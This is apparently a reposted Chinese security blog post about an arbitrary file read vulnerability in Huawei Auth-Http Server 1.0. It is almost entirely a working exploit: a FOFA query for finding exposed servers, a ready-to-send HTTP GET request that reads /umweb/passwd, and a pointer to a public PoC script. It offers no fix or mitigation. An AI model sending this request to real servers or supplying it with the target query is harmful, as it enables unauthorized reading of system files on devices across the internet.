华为Auth-HTTP服务器任意文件读取漏洞
2023-11-28 07:2:24 Author: 网络安全透视镜(查看原文) 阅读量:123 收藏

华为Auth-Http Server 1.0存在任意文件读取，攻击者可通过该漏洞读取任意文件。

fofa查询

server="Huawei Auth-Http Server 1.0"

读取passwd文件 POC

GET /umweb/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1

pocsuite3漏洞检测

漏洞检测脚本已上传免费漏洞库

地址：

https://github.com/Vme18000yuan/FreePOC


文章来源: http://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247498499&idx=1&sn=6850c3e9a3df795e48ba9a10c9772ddd&chksm=974c5c3ba03bd52d4734bf30dcbdd2d341493d1983d1d3495f9ed8b807fcca8beb67cd408dcc&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh